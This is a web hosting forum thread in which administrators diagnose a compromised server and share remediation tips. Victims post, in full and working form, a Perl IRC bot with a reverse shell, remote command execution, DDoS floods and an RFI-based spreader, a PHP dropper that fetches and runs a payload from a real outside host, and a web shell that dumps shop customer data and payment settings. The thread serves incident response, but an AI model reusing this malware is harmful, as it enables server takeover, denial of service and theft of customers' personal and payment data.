httpd dies, then perl script is started with fake name httpds

netdynamix

Verified User
Joined
May 20, 2008
Messages
31
Location
Johannesburg, South Africa
The subject really says it all.
Every few days my httpd dies (and is unable to get started by DirectAdmin again)

On inspection I cannot restart the daemon with apachectl start as it cannot bind to the address/port is being used.

When checking running processes, the normal command line for httpd isnt there, but a process called httpds is running (one instance) by user apache.
On checking the real name of this process it is infact perl running.

I found the following in my error_log of Apache as well.

[Wed Nov 25 09:59:01 2009] [error] [client 41.247.173.228] Invalid URI in request hp/component/alpharegistration/ HTTP/1.1
[Wed Nov 25 09:59:01 2009] [error] [client 41.247.173.228] File does not exist: /var/www/html/400.shtml

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 128450561 bytes) in /home/rainbowfm/domains/rainbowfm.co.za/public_html/modules/mod_votd.php on line 25
[Wed Nov 25 12:05:55 2009] [error] [client 66.7.204.128] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind:)
[Wed Nov 25 12:05:57 2009] [error] [client 66.7.204.128] client sent HTTP/1.1 request without hostname (see RFC2616 section 14.23): /w00tw00t.at.ISC.SANS.DFind:)

Fatal error: Allowed memory size of 134217728 bytes exhausted (tried to allocate 125573121 bytes) in /home/rainbowfm/domains/rainbowfm.co.za/public_html/modules/mod_votd.php on line 24
--16:38:56-- http://adultrentalserver.com/images/.httpdocs/.aa/bovb.txt
Resolving adultrentalserver.com... 38.99.88.101
Connecting to adultrentalserver.com|38.99.88.101|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11739 (11K) [text/plain]
Saving to: `bovb.txt'

0K .......... . 100% 275K=0.04s

16:38:56 (275 KB/s) - `bovb.txt' saved [11739/11739]

--16:39:05-- http://adultrentalserver.com/images/.httpdocs/.aa/bovb.txt
Resolving adultrentalserver.com... 38.99.88.101
Connecting to adultrentalserver.com|38.99.88.101|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11739 (11K) [text/plain]
Saving to: `bovb.txt'

0K .......... . 100% 276K=0.04s

16:39:06 (276 KB/s) - `bovb.txt' saved [11739/11739]

Died at bovb.txt line 20.
sh: fetch: command not found
Can't open perl script "bovb.txt": No such file or directory
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 11739 100 11739 0 0 90472 0 --:--:-- --:--:-- --:--:-- 279k
Died at bovb.txt line 20.
--16:39:06-- http://adultrentalserver.com/images/.httpdocs/.aa/bovb.txt
Resolving adultrentalserver.com... 38.99.88.101
Connecting to adultrentalserver.com|38.99.88.101|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11739 (11K) [text/plain]
Saving to: `bovb.txt'

0K .......... . 100% 275K=0.04s

16:39:06 (275 KB/s) - `bovb.txt' saved [11739/11739]

Died at bovb.txt line 20.
sh: fetch: command not found
Can't open perl script "bovb.txt": No such file or directory


Chris
 
the contents of this bovb.txt file is as follows :)
(So I have been exploited... can anybody point me in the right direction in terms of - patching my server, locating the vulnerability and what else I can do to protect my servers?)

# ! / usr/ bin/ perl

use IO::Socket;
srand;
my $bPs = 'httpds';
#my $aMaster = 'Clx';
my $aHost = '[email protected]';
my $sServer = 's.bl4cklist.net';
my $sPort = '10001';
my $sTimeOut = '300';
my $bChan = '#perl2';

my $bNickLen = '7';
chomp (my $bNick = `whoami`);
chomp (my $bIrcName = `whoami`);
chomp (my $bRealName = `uname -a`);
my $bDelay = '2';

open(LOCK, '>/tmp/sess_f6wtx4es3wedxwa213s1x1ws1e32sx1') or die;
unless(flock(LOCK, 4 | 2)) { die; }

if(fork) { exit; }
$0 = $bPs;

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';

package irc;
use IO::Select;

our $irc_socket;
our $irc_select = new IO::Select;

my $cur_nick;

sub raw { print $irc_socket "$_[0]\n"; }

sub mnick {
my $nick = $_[1];
my @abc = ('a' .. 'z');
for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
return $nick;
}

sub init {

my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
PeerPort => $_[4],
Proto => 'tcp',
Timeout => '5') or return 0;
if(defined($socket)) {
$irc_socket = $socket;
$irc_select->add($irc_socket);
$irc_socket->autoflush(1);
raw("USER ".$_[1]." 0 0 ".$_[2]);
$cur_nick = $_[0];
raw("NICK $cur_nick");
return 1;
}
return 0;
}

sub loop {
my $time_out = time;

for(;;) {
my @handles = $irc_select->can_read(1);

if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }

next unless(@handles);

foreach my $handle (@handles) {
my $datain;$handle->recv($datain, 1023, 0);
my @lines = split(/\r\n/, $datain);

foreach my $line (@lines) {
if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
run::bcmd("$line");
}
}
}
}
package run;
use Socket;

sub bcmd {
my @line = split(/ /, $_[0]);

my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
#unless($Nick eq $aMaster) { return; }
unless($Mask eq $aHost) { return; }

my $Type = shift(@line);
unless($Type eq "PRIVMSG") { return; }

my $To = shift(@line);

$" = ' '; $line[0] =~ s/://;my $Text = "@line";

if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
if($2 =~ /^nick\s*(.*)/) {
if($1) { $cur_nick = $1; }
else { $cur_nick = irc::mnick($bNickLen, $bNick); }
irc::raw("NICK $cur_nick");
return;
}

if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }



return;
}

if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {

if(!fork) {

if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }

if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }

if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }

if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }

if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }

if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }

if ($2 =~ /^bov\s+(.+)/) { &bsh($To, $1); exit; }

if ($2 =~ /^join (.*)/) {
j("$1");
}
if ($2 =~ /^part (.*)/) {
p("$1");
}

exit;
}
return;
}

if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
}

sub bsh {
my $to = $_[0];
my $cmd = $_[1];

if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }

my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }
}

sub j { &join(@_); }
sub join {
return unless $#_ == 0;
irc::raw("JOIN $_[0]");
}

sub p { part(@_); }
sub part {
irc::raw("PART $_[0]");
}

sub rsh {
irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;

open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");

print "elxbot's connectback backdoor\n";
system('/bin/sh');

close(STDIN);
close(STDOUT);
close(STDERR);
}

package spread;

sub start {
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");

our $s_time = time;
my $m_time = $_[1] * 60; #''
srand;

my $bPath = '/tmp/sess_s4ex4t2c7w1d6ecsw3d1x1wwo521451';
my $rfi = '';
my $bLoc = 't';
my $cmds = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";

$cmds =~ s/ /%20/g;

while($m_time > (time - $s_time)) {
my $dup = "";my @urls = google();

foreach my $url (@urls) {
(my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }

if($dup eq $host) { next; } $dup = "$host";

$url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';

my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
$sock->close();
}
}
irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
}

sub google() {

my $rnd=(int(rand(300)));
my $n= 80;
if ($rnd<300) { $rnd=(int(rand(300))); }
my $msn= (int(rand(10)) * $n);

my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
'za', 'zm', 'zw');

my @str = ();
foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }

my $query = 'http://www.altavista.com/web/results?q=';
$query .= $str[(rand(scalar(@str)))];
$query .= "&stq=$msn";

my @lst=();
#irc::raw("privmsg #debug :DEBUG only test googling: ".$query."");
my $page = http_query($query);

while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
}
return (@lst);
}

sub http_query {

my $url = $_[0];
my $host=$url;
my $query=$url;
my $page='';

$host =~ s/href=\"?http:\/\///;
$host =~ s/([\w\.\-\w]*)\/.*/$1/;
$query =~ s/$host//;

if ($query eq '') {$query='/';};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 5;
my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}

package flood;
use POSIX;
use Socket;

our $s_time;

sub tcp {
irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");

$s_time = time;
my @SOCKET;

while ($_[3] > (time - $s_time)) {

for(my $i=0;$i<200;$i++) {
socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
}

for(my $i=0;$i<200;$i++) {
connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
}

for(my $i=0;$i<200;$i++) {
close($SOCKET[$i]);
}
}

irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
}

sub udp {
irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");

$s_time = time;
my $socket;
my $packets = 0;
socket($socket, PF_INET, SOCK_DGRAM, 17);

while($_[3] > (time - $s_time)) {
send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
$packets++;
}
close($socket);

irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
}

sub http {
irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");

$s_time = time;
my $querys = 0;

while ($_[2] > (time - $s_time)) {
my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
close($socket);
$querys++;
}

irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
}

while(1) {
if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
{
irc::loop();
}
sleep 10;
}
 
(So I have been exploited... can anybody point me in the right direction in terms of - patching my server, locating the vulnerability and what else I can do to protect my servers?)
Generally unless you can findl trustworthy information on the hack on sites discussing such things, you'd need to completely restore your server to make sure you've eliminated all traces of the exploit and whatever else it might have installed.

Jeff
 
Jeff, I'll be honest... I have been waiting for a reply from you specifically (or hoping for one anyway) as I regard your posts and replies to be the best on the forum.

While it was not what I was hoping for, I guess that there is not much else I can do :P

Thanks
 
If bovb.txt is owned by apache then you have an insecure php script that someone used to upload the file and then start it.

If that is the case then 1. you don't need to start from scratch and format everything because it is not necessary and 2. even if you did, the insecure php script would still be there when you restored the user files and it would happen all over again.

Find the insecure php script is the answer. clamav may be able to assist you.

It looks like /home/rainbowfm/domains/rainbowfm.co.za/public_html/modules/mod_votd.php is the problem script or at least the problem domain.

If bovb.txt is owned by root then yes you have to format.
 
Floyd, my concern is that I understood (maybe incorrectly) that it was starting before apache even on a server boot. If that's so, then it's most likely a root hack.

Or am I missing something?

Jeff
 
that it was starting before apache even on a server boot

I don't see where he said that.

But I do know that there is a good chance that there is a cronjob set up probably for user apache that tries to start the script every minute. Apache has to restart every once in a while for new domains and log rotation. If the script can start during the few seconds that apache is down then apache will not be able to start.

Seeing that it was apache that downloaded bovb.txt I believe it is a insecure php script that was used to download it. If bovb.txt is owned by apache then it is almost certainly the case.

If it is indeed an insecure php script that was the root cause then when the user files are restored onto the newly formatted server the problem will still be there and he will be right back here where he started.

It will not do any harm to reformat. But if I am right it will not do any good.

I have seen this type of thing many times and that is why I run http://www.webhostgear.com/353.html

But again the key is who owns the bovb.txt script and who is it running as.
 
Hi Guys,

Thanks for all of the comments and posts on this problem.
The script starts at totally random times and does not start at boot time. Furthermore, this .txt file is nowhere to be found on my system (anywhere)

I have recently upgraded everything via Custombuild and Update.script and since that upgrade, this script does start (still at random) but it doesnt take down Apache and is now starting itself up on port 6667 (no it's not an IRCd as I cannot connect to it in anyway)

So atleast my client's website still work. But this perl script faking its name as HTTPDS is still run. - I guess that it would help if I knew the command to get ps to output the full path of that perl process so that I could see exactly where it is running from. But alas, I cannot remember what to type and google hasnt helped me with this as yet.

And no, there is no cronjob... I dont suspect that it is a root hack as my IP is always the last logged on and I change my root password multiple times in this last week since it started.

Any further ideas?
Are there any companies offering full vulnerability checks on websites? I would like to run this rainbowfm.co.za domain through that to see if it could be something there. The site is run on the previous version of Joomla (namely 1.0) which I suspect could be open to numerous problems since 1.0 is no longer supported. mod_votd.php could be the problem, but it is such a simple script to pull a "Verse of the Day" from biblegateway.com and display it on this client's website.

I am at my whits end. As any server administrator... I cannot stand that my system has been compromised in any way. Even though I am admittedly not the most advanced Server Admin or the most knowledgeable. I try :P
 
this .txt file is nowhere to be found on my system

That means it is being run in memory. Somebody is actively uploading it, starting it and then deleting the file.

I have to ask because I do not necessarily trust that people know what they are doing. Where did you look for the file? Did you look in /tmp and /var/tmp? Are you sure you checked apache's cron jobs?

it is such a simple script to pull a "Verse of the Day" from biblegateway.com and display it on this client's website.

And can probably be used to run any content from any remote web site.
 
Yeah, this script that you put me onto is working wonders. Its running every minute and is killing the script whenever it starts up and is allowing apache to restart.

I have cleaned out /tmp and /var/tmp and there is nothing in there now.
Also, I found a very suspicious script called .cgi.php in this particular clients public_html.

I'm going to send you the script via PM for you to look at as I fear uploading it here might allow others to use it for malicious use :P
Furthermore, when run through a web browser, it shows you this: http://www.mediafire.com/i/?efymnjozomm

So he could upload files and execute them from this little page of his. Amazing Stuff.

Also, how do I check apache's crons specifically?
 
Also, how do I check apache's crons specifically?

From shell
Code:
crontab -l -u apache

very suspicious script called .cgi.php

This was probably uploaded by an insecure php script. You will probably find that the owner of it is apache. It is then used to run arbitrary commands as the user apache.

clamav would probably have found the .cgi.php script.
 
More Information

Our server started having the exact same issues that are described in the original post. It is a little bit more complicated upon investigation though. The server was basically being used as an IRC relay and openly sending hundreds of emails every minute. Most emails were headed to Brazilian email addresses, go figure.

The scripts above and a few other scripts were running on the server all at once. We had a bovb.txt which was coming from adultrentalserver.com, running code and the fagz.txt (which was the main issue) it had pulled from lojadoscomputadores.net. We quickly tracked down the problem to be a coding issue with a shopping cart application on the server, it had vulnerabilities which allowed this malicious code to be uploaded and our server to be compromised.

Long story short, this one is hard to track down and clean up. I'm still not sure we completely got everything tonight but several system packages and some security work seem to have initially resolved the problem. This doesn't stop the script from being attempted again soon though.

So if you're having this issue check for these things:

1. Whatever the logs say came in as abcd.txt, do a search for abcd and you'll find the files. Probably in the /tmp directory. The file on our server was named 'fagz' and the logs showed it downloaded a 'fagz.txt'. I also had an error in the apache error_log saying it couldn't open the perl script fagz.

2. You're likely going to have code elsewhere in whatever compromised website directory, a bunch of randomly named php files. Get rid of those quickly, that's the open door to your system.

3. Check sendmail (or whatever mail program you're running) and watch the logs to see if it's sending out messages. If it is, you need to stop the mail program, clean up the mailq and clientmailq, fix the above issues and restart Sendmail. Keep an eye on the logs and make sure it has stopped sending messages.

As always the general system checks need to happen to make sure nothing else was compromised on the server. If it was, go with the plan above and rebuild your system if you're not confident that you can monitor and remove all of the compromised items.

Hope this helps someone in the future.
 
Last edited:
We had a customer with the same problem, we chmodded perl, wget, lynx, curl, GET, and some other download methods to (i thought) chmod 700. Now the file couldnt be downloaded anymore and the script was stopped.
 
Something like that happend to me time ago too, for cron check /var/cron.d/ too, and, on tmp folders check for hidden files, sometimes i had like some directory called .BLABLA and inside that there was the scripts.

Other thing is check the 777 permission directory of your customers, that is prolly just a php exploit nothing that need a format of the box, i solved searching for that scripts and killing my customers that had not-updated cms ^^

Nobody Check helped me alot too and i still use.
 
Same Hack exploited Zen Cart

Our server also fell victim to this attack.

Last week we saw the same bovb.txt errors in /var/log/apache2/error.log that others have seen. We tried to close all exploits but now know that we missed one in Zen Cart (see http://www.zen-cart.com/forum/showthread.php?t=130161). We did set up a script to notfy us when files were put in /tmp as the hack was using a fake session file placed there.

Last night we got such an email and found the httpds process running. We killed the process and removed the /tmp/sess_* file. It started again numerous times until we changed permission on curl to 700 and then it stopped (we had already changed permissions on wget and other commands last week).

In /var/log/apache2/error.log we found messages like this:
Code:
sh: /usr/bin/wget: Permission denied
Can't open perl script "so.txt": No such file or directory
sh: fetch: command not found
Can't open perl script "so.txt": No such file or directory
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
^M  9 11740    9  1174    0     0   2351      0  0:00:04 --:--:--  0:00:04  2351^M 34 11740   34  4054    0     0   6174      0  0:00:01 --:--:--  0:00:01 18227^M100 11740 \
 100 11740    0     0  14386      0 --:--:-- --:--:-- --:--:-- 33331
sh: /usr/bin/wget: Permission denied
Can't open perl script "so.txt": No such file or directory
sh: fetch: command not found
Can't open perl script "so.txt": No such file or directory
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
^M  9 11740    9  1174    0     0   3280      0  0:00:03 --:--:--  0:00:03  3280^M100 11740  100 11740    0     0  22590      0 --:--:-- --:--:-- --:--:-- 65627
Died at so.txt line 20.


repeated dozens of times. After we changed the permissions on curl we saw this:
Code:
Can't open perl script "so.txt": No such file or directory
sh: fetch: command not found
Can't open perl script "so.txt": No such file or directory
sh: /usr/bin/curl: Permission denied
Can't open perl script "so.txt": No such file or directory
sh: /usr/bin/wget: Permission denied
Can't open perl script "so.txt": No such file or directory
sh: fetch: command not found
Can't open perl script "so.txt": No such file or directory
sh: /usr/bin/curl: Permission denied
Can't open perl script "so.txt": No such file or directory
sh: /usr/bin/wget: Permission denied

--------------------

After that we looked for the exploit and eventually found it almost by blind luck. While searching for .txt files on the server to see if so.txt had been saved anywhere we found a file called ph.txt in the images folder of a zen cart installation. It said:

PHTeam was here!

Luckily these hackers had enough ego to want to leave their calling card.

In that Zen Cart installation we also found the following in /images

0x1234.php*
705f2.php
captcha_.php*
img.php*
img.png.php*
noskinoskieskimoski.php*
ph.php*
wp-comments2.php*

the wp-comments2.php file had these contents:

Code:
<?php @system("cd /tmp;wget http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @system("cd /tmp;fetch http://www.lojadoscomputadores.net
//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @system("cd /tmp;curl -O http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @shell
_exec("cd /tmp;wget http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @shell_exec("cd /tmp;fetch http://www.lojadoscomputadores.net//im
ages/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @shell_exec("cd /tmp;curl -O http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @passt
hru("cd /tmp;wget http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @passthru("cd /tmp;fetch http://www.lojadoscomputadores.net//images
/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @passthru("cd /tmp;curl -O http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @exec("cd /t
mp;wget http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @exec("cd /tmp;fetch http://www.lojadoscomputadores.net//images/Kyocera/so.tx
t;perl so.txt;rm -rf so.txt*"); @exec("cd /tmp;curl -O http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @system("cd /dev/shm/;wget htt
p://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @system("cd /dev/shm/;fetch http://www.lojadoscomputadores.net//images/Kyocera/so.txt;pe
rl so.txt;rm -rf so.txt*"); @system("cd /dev/shm/;curl -O http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @shell_exec("cd /dev/shm/;w
get http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @shell_exec("cd /dev/shm/;fetch http://www.lojadoscomputadores.net//images/Kyocer
a/so.txt;perl so.txt;rm -rf so.txt*"); @shell_exec("cd /dev/shm/;curl -O http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @passthru("c
d /dev/shm/;wget http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @passthru("cd /dev/shm/;fetch http://www.lojadoscomputadores.net//im
ages/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @passthru("cd /dev/shm/;curl -O http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @ex
ec("cd /dev/shm/;wget http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @exec("cd /dev/shm/;fetch http://www.lojadoscomputadores.net//i
mages/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); @exec("cd /dev/shm/;curl -O http://www.lojadoscomputadores.net//images/Kyocera/so.txt;perl so.txt;rm -rf so.txt*"); echo("
e"."d"."u"."_"."l"."o"."c"."o"); ?>

We also found the same img.php in other folders in the zen cart installation that were writable by www-data, including cache, temp, bmz_cache, and pub.

That file had the following code:

Code:
<?
require("../includes/configure.php");
ini_set("max_execution_time",0);

$pg = $_GET['pg'];
$q = $_GET['q'];

if ($pg=="edit") {

   if (!empty($submit))
   {
    if ($filestealth) {$stat = stat($q.$f);}
    $fp = fopen($q.$f,"w");
    if (!$fp) {echo "<b>Can't write to file!</b>";}
    else
    {
     echo "<b>Saved!</b>";
     fwrite($fp,$edit_text);
     fclose($fp);
     if ($filestealth) {touch($q.$f,$stat[9],$stat[8]);}
     $r = $edit_text;
    }
   }
   $rows = count(explode("\r\n",$r));
   if ($rows < 10) {$rows = 10;}
   if ($rows > 30) {$rows = 30;}
   echo "<form action=\"?pg=edit&f=".urlencode($f)."&q=".urlencode($q)."\" method=POST><input type=submit name=submit value=\"Save\"> <input type=\"reset\" value=\"Reset\">
<br><textarea name=\"edit_text\" cols=\"122\" rows=\"".$rows."\">".htmlspecialchars($r)."</textarea></form>";

} elseif ($pg=="check") {

$link = mysql_connect(DB_SERVER,DB_SERVER_USERNAME,DB_SERVER_PASSWORD);

mysql_select_db(DB_DATABASE);

$query = 'SELECT * from orders';
$results = mysql_query($query);
$line = mysql_num_rows($results);

while($line = mysql_fetch_assoc($results)) {

$cc_number = $line["cc_number"];


if (!empty($cc_number)) {
echo "W";
}

}

mysql_close($link);

} elseif ($pg=="extract") {

$link = mysql_connect(DB_SERVER,DB_SERVER_USERNAME,DB_SERVER_PASSWORD);

mysql_select_db(DB_DATABASE);

$query = "SELECT * from orders";
$results = mysql_query($query);
$line = mysql_num_rows($results);

while($line = mysql_fetch_assoc($results)) {

$customers_name = $line["customers_name"];
$customers_country = $line["customers_country"];
$customers_email_address = $line["customers_email_address"];

if (!empty($customers_email_address) && $customers_country == $q) {
echo "$customers_name $customers_email_address<br><br>";
}

}

mysql_close($link);

} elseif ($pg=="authorize") {

$link = mysql_connect(DB_SERVER,DB_SERVER_USERNAME,DB_SERVER_PASSWORD);

mysql_select_db(DB_DATABASE);

$query = "SELECT * from configuration";
$results = mysql_query($query);
$line = mysql_num_rows($results);

while($line = mysql_fetch_assoc($results)) {

$configuration_key = $line["configuration_key"];
$configuration_value = $line["configuration_value"];

if (!empty($configuration_value)) {
echo "$configuration_key $configuration_value<br><br>";
}

}

mysql_close($link);

} elseif ($pg=="remove") {

unlink("img.php");

} elseif ($pg=="system") {

system('$q', $retval);
echo $retval;

} elseif ($pg=="copy") {

$win = strtolower(substr(PHP_OS,0,3)) == "win";
chdir( '..' );
$rep=opendir('.');
$dir = dirname(__FILE__);
$uri = "http://";
$uri .= $_SERVER['SERVER_NAME'];
$uri .= $_SERVER['REQUEST_URI'];
$url1 = dirname($uri);
$url1 .= "/img.php";
$ch = curl_init('http://my.minima.ru/post/sveta.files/get.php?url=' . $url1 . '');
curl_exec ($ch);
curl_close ($ch);
while (false != ($file = readdir($rep))){
if (is_dir($file) && is_writable($file) && $file != images){
$url = "http://";
$url .= $_SERVER['SERVER_NAME'];
$url .= $_SERVER['REQUEST_URI'];
$url2 = dirname($url);
$url2 .= "/../$file/img.php";
if (!$win) {
$file1 = "$dir/img.php";
$file2 = "$dir/../$file/img.php";
system("cp $file1 $file2");
}
$ch1 = curl_init('http://my.minima.ru/post/sveta.files/get.php?url=' . $url2 . '');
curl_exec ($ch1);
curl_close ($ch1);
}
}

echo "Done!";

} else {

echo "HTTP 404 - File not found";

}

?>


Once we removed the problematic files and applied the patch to Zen Cart things seem to be fine. We also found entries in some Zen Cart tables (record_companies) which they must have used to put the files into the /images folder.

